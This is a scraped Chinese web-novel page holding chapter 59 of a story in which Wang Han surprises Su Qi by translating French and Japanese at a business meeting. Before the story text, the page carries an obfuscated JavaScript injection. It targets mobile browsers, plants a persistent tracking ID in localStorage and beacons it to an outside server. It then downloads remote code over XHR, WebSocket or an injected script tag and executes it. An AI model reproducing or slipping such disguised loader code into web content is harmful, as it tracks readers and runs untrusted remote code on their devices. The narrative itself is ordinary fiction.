足迹
王悍苏祈
登录
关灯
护眼
字体:

第59章 好处(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

程玲玲回过神,心理嘀咕着王悍和苏祈之间到底是什么关系。

  "国外的那几个专家过来了,正在会议厅等着。"

  苏祈连忙换了鞋,"去见见。"

  朝着外面走的时候,程玲玲一副踌躇不决的样子,苏祈见状问道,"怎么了"

  程玲玲有些纠结道,"程总,我们的翻译今天出了事情,堵在路上了,赶过来起码得两个小时之后了,这几个外国的专家一个小时之后就要离开江宁市。"

  苏祈绣眉皱了起来,"那还愣着干什么继续再找一个翻译过来啊!"

  "已经找了,最快的翻译想要过来的话,怎么都得半个小时,我们要谈的事情半个小时根本不够。"

  程玲玲纠结道。

  苏祈小眉头皱了起来,"问问公司里面有没有人会外语。"

  "会英语的挺多的,但是来的专家是法国的,这个专家只会说法语。"

  说到这里,程玲玲想到了什么,看向了王悍。

  苏祈思索片刻,"翻译器呢"

  "我们要说的很多东西是专业名词,翻译器翻译的不准确。"

  苏祈想对策的时候,程玲玲忽然道,"苏总,要不让王悍过去当翻译。"

  这话让苏祈愣住了,"让他"

  程玲玲点点头,"我今天看到王悍和两个外国人在聊天,他的法语英语说的都很厉害。"

  苏祈脑袋空白了几秒钟,"你还会法语"

  王悍谦虚的笑道。"之前在国外流浪过一段时间,会一点外语。"

  程玲玲试探性的说道,"苏总,都这个时候了,就让他上吧,就当是死马当活马医也行。"

  苏祈转身看着王悍,"我们现在需要一个翻译,你可以吗"

  王悍起身系好扣子,"我可以试试。"

  苏祈做了个深呼吸,都这个节骨眼了,只好死马当活马医了,"行,有些名词你要是不会翻译的话,你可以查一下的。"

  "你这就有点看不起人了。"王悍全然没放在心上。

  苏祈带着王悍进了会议室,里面坐着几个外国佬,看到苏祈进来后,起来握手。

  "查塔姆先生,欢迎您的到来。"苏祈握着外国佬的手看了一眼王悍。

  王悍大大方方的冲着外国佬笑道,"bienvenue,am。"

  苏祈神色之中闪过一丝讶异,王悍又一次让她刮目相看了。

  外国佬和王悍握手之后几个人坐下。

  接下来的交流,苏祈刚开始还尽量让自己的语言不那么的专业化,但是看到王悍翻译过去之后,查塔姆的反应很好。

  苏祈之后又塞进去了一些专业词语,从查塔姆的表情上来看,王悍翻译的一丁点的问题都没有。

  而且王悍从查塔姆那里翻译过来的专业名词也是一个都没有错。

  这让苏祈对王悍的再一次刮目相看。

  这个男人竟然深藏不露。

  苏祈也从刚开始的紧张变得放松了下来,和查塔姆相谈甚欢。

  但是没想到,说到一半,查塔姆来了一句他还有一个日本那边朋友也有话要说,直接投影了视频聊天。

  那头站着一个五短身材的男人,上来直接鞠躬。

  叽里呱啦的说了一大堆。

  苏祈人都麻了。

  先是看向了查塔姆,后者疑惑道,"我来之前不是给你们说过了我有一个那边的朋友吗你们的翻译不会日语吗"

  苏祈看了一眼程玲玲,程玲玲脑袋上已经出现了一层汗珠,脸色苍白,"刚才太着急忘了这一茬了。"

  这话让苏祈的脸瞬间寒了下来。

  就在场面尴尬的时候,王悍笑道,"这小鬼子说他叫山本一郎,很高兴能够跟你们分享经验,他是他们公司在东亚地区的总负责人。"

  苏祈愣住了,"你...你还会日语"

  王悍腼腆的笑道,"这不是以前出国流浪过嘛,多多少少会一点。"

  "那你告诉他我们公司的大概方向。"